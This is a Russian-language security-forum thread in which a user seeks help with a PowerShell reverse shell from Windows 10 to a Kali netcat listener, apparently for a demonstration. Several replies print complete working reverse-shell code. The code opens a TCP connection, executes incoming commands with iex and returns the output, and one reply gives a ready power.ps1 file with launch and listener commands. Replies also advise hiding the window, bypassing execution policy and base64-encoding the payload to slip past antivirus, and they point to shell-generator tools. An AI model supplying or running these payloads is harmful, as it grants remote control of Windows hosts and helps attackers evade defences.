HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.01.2026, 21:49
hitman20
Участник форума
Регистрация: 08.06.2022
Сообщений: 153
С нами: 2070937

Репутация: 0
По умолчанию

Привет всем.
Помогите реализовать простой реверс шелл с Kali на windows 10 .
Сам пробовал , но что то не получается , не пойму в чем дело.
На Kali открыл открыл порт рандомный на прослушку:

Код:


Код:
nc -lvnp 5555
На винде от имени админа открваю powershell и пишу там:

Код:


Код:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP_Kali",5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
или в таком формате

Код:


Код:
powershell -NoExit -Command "& {
$client = New-Object System.Net.Sockets.TcpClient('IP_Kali', 5555);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
    $sendback = (Invoke-Expression $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ';
    $sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush();
}
$client.Close();
Read-Host 'Press Enter to exit'
}"
P.S. там пишу IP адрес kali естественно. Так же приостановил стандартный антивирус на винде.

После нажатии Enter почему то закрывается окошка просто. Пробовал создать файл ps1, и через отдельное окно его выполнить, но тогда выдает ошибка синтаксиса, типа все неверно, целый лист ошибок.

Может есть рабочий скрипт у кого то? Не сложную, простую, для демонстрации просто.
 
Ответить с цитированием

  #2  
Старый 11.01.2026, 22:17
mcfly
Новичок
Регистрация: 08.09.2016
Сообщений: 0
С нами: 5093305

Репутация: 0
По умолчанию

а PowerShell #3 (Base64) не пробовал? Online - Reverse Shell Generator
 
Ответить с цитированием

  #3  
Старый 11.01.2026, 22:51
hitman20
Участник форума
Регистрация: 08.06.2022
Сообщений: 153
С нами: 2070937

Репутация: 0
По умолчанию

ссылка не открвается.. только заголовок и каркас сайта видимо тоже под санкциями или цензурой.
А что там можно делать? обфуксировать код под base64 ?
 
Ответить с цитированием

  #4  
Старый 12.01.2026, 00:19
hitman20
Участник форума
Регистрация: 08.06.2022
Сообщений: 153
С нами: 2070937

Репутация: 0
По умолчанию

да, base64 получилось )) А собственно в чем была проблема? все же открытый код где то гасится?
Классный проект между прочим, спасибо.
 
Ответить с цитированием

  #5  
Старый 12.01.2026, 00:40
Exited3n
Постоянный
Регистрация: 28.05.2022
Сообщений: 800
С нами: 2086530

Репутация: 0


По умолчанию

Цитата:

hitman20 сказал(а):

да, base64 получилось )) А собственно в чем была проблема? все же открытый код где то гасится?
Классный проект между прочим, спасибо.

АВ блочить может, вот еще тебе инструмент - GitHub - t3l3machus/hoaxshell: A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.

 
Ответить с цитированием

  #6  
Старый 11.02.2026, 19:45
polkitforlinux
Новичок
Регистрация: 10.02.2026
Сообщений: 0
С нами: 136720

Репутация: 0
По умолчанию

Для начала тебе нужно на компьютере клиента создать файл power.ps1

Вписать туда скрипт

Цитата:

$client = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
} $client.Close()

После на своей машине прописать команду:
nc -lvnp 4444

При этом порт должен быть открыт


После этого на машине клиента прописываешь команду:
powershell -ExecutionPolicy Bypass -File power.ps1
 
Ответить с цитированием

  #7  
Старый 07.06.2026, 18:52
executor
Новичок
Регистрация: 09.11.2003
Сообщений: 3
С нами: 11842725

Репутация: 0
По умолчанию

Ситуация с реверс шеллами на Windows через PowerShell довольно типовая — стандартный ввод команды напрямую в консоль часто приводит к проблемам с экранированием и синтаксисом, особенно если скрипт длинный. Base64 обычно решает эти вопросы, так как ты передаёшь единую закодированную строку, которую PowerShell декодирует и выполняет.

Кроме того, антивирусы и Windows Defender умеют цепляться именно за текстовые команды в открытом виде, а в base64-подходе они менее чувствительны, особенно если обойтись без явных вызовов подозрительных функций. Иногда помогает запускать PowerShell с параметрами -NoProfile и -ExecutionPolicy Bypass, чтобы не подловить политики ограничений.

Опыт показывает, что стабильнее всего делать отдельный скрипт .ps1, как уже рекомендовали, и запускать его целиком. И, да, не забывай проверять, что порт слушает именно твой netcat (или альтернативный слушатель), Windows не блокирует его через файервол. Иногда проблемы бывают с сетью — NAT, VPN, межсетевые экраны, стоит проверить пинг и доступность порта с Windows-клиента.

Кстати, а какой именно netcat ты используешь на Kali? Бывает, что в разных версиях есть нюансы с флагами. И вообще, интересно, зачем именно PowerShell? Иногда проще сделать exec шелл через ncat с обратным TCP. Если в дальнейшем захочешь, могу подсказать пару более надёжных вариантов с использованием ncat или socat.
 
Ответить с цитированием

  #8  
Старый Вчера, 20:00
D4rk_Ghost
Познающий
Регистрация: 11.02.2004
Сообщений: 73
С нами: 11707161

Репутация: 2
По умолчанию

А в чем вообще баз64 помогает? Типо с экранированием проще, чтоб не ломался код при запуске? Просто пытаюсь понять, могу ли я просто так писать команды без всякой кодировки, или лучше сразу base64 юзать?
 
Ответить с цитированием

  #9  
Старый Сегодня, 04:15
2pac
Новичок
Регистрация: 30.03.2003
Сообщений: 6
С нами: 12166138

Репутация: 0
По умолчанию

Base64 просто удобен, чтобы PowerShell не ругался на кавычки и спецсимволы в длинных командах. Можно писать и напрямую, но часто вылезает каша с экранированием, а с base64 проще и надежней, особенно если запуск через -EncodedCommand. Так что на практике лучше кодировать, чтобы не париться с синтаксисом.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.